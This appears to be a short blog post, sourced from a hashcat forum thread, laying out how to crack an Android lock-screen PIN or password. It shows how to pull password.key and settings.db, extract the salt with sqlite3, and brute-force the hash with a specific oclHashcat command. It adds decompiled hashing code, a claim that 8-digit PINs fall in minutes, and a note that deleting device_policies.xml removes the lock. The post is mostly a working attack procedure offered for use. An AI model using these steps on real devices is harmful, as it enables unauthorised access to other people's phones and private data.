Aug 262014
 

Step 1 : Get access to the data files

Step 2 : Get following files from the device :
“/data/system/password.key”
“/data/data/com.android.providers.settings/databases/settings.db”

Step 3 : Extract hash from password.key
example : “941d4637d8223d958d7f2324572c7e319dcea01f”

Step 4 : Extract seed from settings.db (using sqlite3 tool)
command: “sqlite3 settings.db”
>”SELECT lockscreen.password_salt from secure;”
example : “-660806340342588628”
convert to lowercase hex : “f6d45822728ddb2c” (printf “%016x\n” -660806340342588628)

Step 5 : use oclhashcat to bruteforce (in this case we know length and type of password : 8 digits and decimals only) :
“./oclHashcat-plus64.bin -a 3 -n 80 -u 1024 -m 5800 941d4637d8223d958d7f2324572c7e319dcea01f:f6d45822728ddb2c ?d?d?d?d?d?d?d?d”

Done.

How it works :
SHA1 is being used with 1024 iterations

Step 0 : Iteration in Ascii + Password + Seed => SHA1 Hash
Example using pwd “test” : 0testf6d45822728ddb2c

Step 1 till 1023 : SHA1-Hash of previous round + Iteration in Ascii + Password + Seed => SHA1 Hash
Example : {previous sha1 hash in binary}1testf6d45822728ddb2c

{previous sha1 hash in binary}1023testf6d45822728ddb2c

Algorithm can be reversed from libsec.ko or framework2.odex

Resulting hash is the hash from password.key

framework2 relevant source code :

public byte[] passwordToHash(String paramString)
  {
    if (paramString == null)
      return null;
    String str = null;
    byte[] arrayOfByte1 = null;
    try
    {
      byte[] arrayOfByte2 = (paramString + getSalt()).getBytes();
      byte[] arrayOfByte3 = null;
      str = "SHA-1";
      MessageDigest localMessageDigest = MessageDigest.getInstance(str);
      long l1 = System.currentTimeMillis();
      for (int i = 0; i < 1024; i++)
      {
        arrayOfByte1 = null;
        if (arrayOfByte3 != null)
          localMessageDigest.update(arrayOfByte3);
        localMessageDigest.update(("" + i).getBytes());
        localMessageDigest.update(arrayOfByte2);
        arrayOfByte3 = localMessageDigest.digest();
      }
      arrayOfByte1 = toHex(arrayOfByte3).getBytes();
      long l2 = System.currentTimeMillis();
      Log.w("LockPatternUtils", "passwordToHash time = " + (l2 - l1) + "ms");
      return arrayOfByte1;
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      Log.w("LockPatternUtils", "Failed to encode string because of missing algorithm: " + str);
    }
    return arrayOfByte1;
  }

Brute forcing 8 digit PINs takes less than 10 minutes.

Also “/data/system/device_policies.xml” can give hints about the password like:

<policies>
<active-password quality="131072" length="4" uppercase="0" lowercase="0" letters="0" numeric="4" symbols="0" nonletter="4"/>
</policies>

Removing this file seems to remove the lock.

Source: http://hashcat.net/forum/thread-2202.html